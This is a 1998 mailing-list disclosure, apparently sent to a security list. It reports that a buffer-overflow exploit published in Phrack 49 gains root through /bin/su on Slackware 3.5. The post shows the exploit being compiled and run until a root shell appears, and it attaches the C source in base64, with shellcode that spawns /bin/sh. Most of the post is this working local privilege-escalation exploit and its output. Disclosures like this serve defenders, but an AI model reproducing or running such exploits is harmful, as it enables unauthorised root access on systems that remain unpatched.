slackware-3.5 /bin/su buffer overflow
Date: Tue, 18 Aug 1998 17:42:02 +0700
From: Chatchai Watchakit <[email protected]>
To: [email protected]
Subject: slackware-3.5 /bin/su buffer overflow
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to [email protected] for more info.
---559023410-851401618-903436922=:3045
Content-Type: TEXT/PLAIN; charset=US-ASCII
>From exploit4.c of Phrack 49 (P49-14) can exploit /bin/su of slackware-3.5
kernel 2.0.34
---------------------
endeavor:~$ gcc -o exploit4 exploit4.c
endeavor:~$ ./exploit4
Using address: 0xbffffb20
bash$ /bin/su $RET
bash#
---------------------
Chatchai W.
---559023410-851401618-903436922=:3045
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="exploit4.c"
Content-ID: <[email protected]>
Content-Description: exploit4.c
Content-Disposition: attachment; filename="exploit4.c"
Content-Transfer-Encoding: BASE64
I2luY2x1ZGUgPHN0ZGxpYi5oPg0KDQojZGVmaW5lIERFRkFVTFRfT0ZGU0VU
ICAgICAgICAgICAgICAgICAgICAwDQojZGVmaW5lIERFRkFVTFRfQlVGRkVS
X1NJWkUgICAgICAgICAgICAgNTEyDQojZGVmaW5lIERFRkFVTFRfRUdHX1NJ
WkUgICAgICAgICAgICAgICAyMDQ4DQojZGVmaW5lIE5PUCAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAweDkwDQoNCmNoYXIgc2hlbGxjb2RlW10gPQ0K
ICAiXHhlYlx4MWZceDVlXHg4OVx4NzZceDA4XHgzMVx4YzBceDg4XHg0Nlx4
MDdceDg5XHg0Nlx4MGNceGIwXHgwYiINCiAgIlx4ODlceGYzXHg4ZFx4NGVc
eDA4XHg4ZFx4NTZceDBjXHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4XHg0MFx4
Y2QiDQogICJceDgwXHhlOFx4ZGNceGZmXHhmZlx4ZmYvYmluL3NoIjsNCg0K
dW5zaWduZWQgbG9uZyBnZXRfZXNwKHZvaWQpIHsNCiAgIF9f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